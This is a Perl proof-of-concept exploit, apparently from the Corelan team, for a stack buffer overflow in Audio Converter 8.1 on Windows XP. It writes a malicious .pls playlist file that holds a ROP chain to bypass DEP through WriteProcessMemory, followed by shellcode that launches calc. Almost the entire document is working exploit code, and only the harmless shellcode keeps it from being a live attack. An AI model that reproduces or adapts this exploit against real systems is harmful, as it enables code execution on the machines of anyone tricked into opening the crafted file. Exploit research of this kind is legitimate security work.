Audio Converter 8.1 Stack Buffer Overflow With DEP Bypass

`#***********************************************************************************  
# Exploit Title : Audio Converter 8.1 0day Stack Buffer Overflow PoC exploit ROP/WPM  
# Date : 07/06/2010  
# Author : Sud0  
# Bug found by : chap0  
# Software Link : http://download.cnet.com/Audio-Converter/3000-2140_4-10045287.html  
# Version : 8.1  
# OS : Windows  
# Tested on : XP SP3 En (VirtualBox)  
# Type of vuln : SEH  
# Thanks to my wife for her support  
# Thanks for chap0 for bringing us the game  
# Greetz to: Corelan Security Team  
# mr_me you'r killing the ROP bro :)  
# http://www.corelan.be:8800/index.php/security/corelan-team-members/  
# Using ROP to bypass DEP protection and call WPM  
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
# Script provided 'as is', without any warranty.  
# Use for educational purposes only.  
# Do not use this code to do anything illegal !  
# Corelan does not want anyone to use this script  
# for malicious and/or illegal purposes  
# Corelan cannot be held responsible for any illegal use.  
#  
# Note : you are not allowed to edit/modify this code.   
# If you do, Corelan cannot be held responsible for any damages this may cause.  
#***********************************************************************************  
#code :  
print "|------------------------------------------------------------------|\n";  
print "| __ __ |\n";  
print "| _________ ________ / /___ _____ / /____ ____ _____ ___ |\n";  
print "| / ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\ / __/ _ \\/ __ `/ __ `__ \\ |\n";  
print "| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |\n";  
print "| \\___/\\____/_/ \\___/_/\\__,_/_/ /_/ \\__/\\___/\\__,_/_/ /_/ /_/ |\n";  
print "| |\n";  
print "| http://www.corelan.be:8800 |\n";  
print "| |\n";  
print "|-------------------------------------------------[ EIP Hunters ]--|\n\n";  
print "[+] Exploit for .... \n";  
  
my $filename="newaudio.pls";  
# Small Shellcode to run calc  
my $shellcode = "\x8B\xEC\x55\x8B\xEC\x68\x20\x20\x20\x2F\x68\x63\x61\x6C\x63\x8D\x45\xF8\x50\xB8\xC7\x93\xC2\x77\xFF\xD0";  
  
my $buffer = "A" x 280; # some junk  
$buffer .= "\x31\x2A\x00\x10"; # mov eax,ebp / pop ebp / retn4  
$buffer .= "B" x 12; # some junk  
$buffer .= "\x1D\xA4\x07\x10"; # add eax,100 / pop ebp / retn  
$buffer .= "B" x 8; # some junk  
$buffer .= "\x1D\xA4\x07\x10"; # NEXT : add eax,100 / pop ebp / retn  
$buffer .= "B" x 4 ; # some junk  
$buffer .= "\x1D\xA4\x07\x10"; # NEXT : add eax,100 / pop ebp / retn  
$buffer .= "B" x 4 ; # some junk  
$buffer .= "\x1D\xA4\x07\x10"; # NEXT : add eax,100 / pop ebp / retn  
$buffer .= "B" x 4 ; # some junk  
$buffer .= "\x1D\xA4\x07\x10"; # NEXT : add eax,100 / pop ebp / retn  
$buffer .= "B" x 4 ; # some junk  
$buffer .= "\x1D\xA4\x07\x10"; # NEXT : add eax,100 / pop ebp / retn  
$buffer .= "B" x 4 ; # some junk  
$buffer .= "\x1D\xA4\x07\x10"; # NEXT : add eax,100 / pop ebp / retn  
$buffer .= "B" x 4 ; # some junk  
$buffer .= "\x1D\xA4\x07\x10"; # NEXT : add eax,100 / pop ebp / retn  
$buffer .= "B" x 4 ; # some junk  
$buffer .= "\x1D\xA4\x07\x10"; # NEXT : add eax,100 / pop ebp / retn  
$buffer .= "B" x 4 ; # some junk  
  
$buffer .= "\x00\x8D\x00\x10"; # POP EDI / RETN  
$buffer .= "\xB6\x12\x00\x10"; # ADD ESP,4 / RETN  
$buffer .= "\x05\x21\x00\x10"; # ADD ESP,14 / RETN  
$buffer .= "B" x 20 ; # some junk  
  
$buffer .= "\x79\x84\x02\x10"; # mov dword ptr ss:[esp + 10], eax / call EDI  
$buffer .= "\x13\x22\x80\x7C"; # @ of WPM  
$buffer .= "\xFF\xFF\xFF\xFF"; # RET after WPM choose one and use it  
$buffer .= "\xFF\xFF\xFF\xFF"; # -1 : means process itself  
$buffer .= "\xCF\x22\x80\x7C"; # Destination address  
$buffer .= "B" x 4 ; # some junk, @ of shellcode will land here  
$buffer .= "\x1A\x00\x00\x00"; # size of shellcode   
$buffer .= "\x00\xA0\x45\x00"; # Writeable memory   
$buffer .= "B" x 12; # some junk  
$buffer .= $shellcode;  
  
$buffer .= "B" x (4436 -length($buffer)); # some junk  
$buffer .= "\x2F\x37\x01\x10"; # SEH : add esp, 878 / retn 8  
$buffer .= "A" x 10000; # some junk  
  
print "Removing old $filename file\n";  
system("del $filename");  
print "Creating new $filename file\n";  
open(FILE, ">$filename");  
  
print FILE $buffer;  
close(FILE);  
  
  
  
  
  
`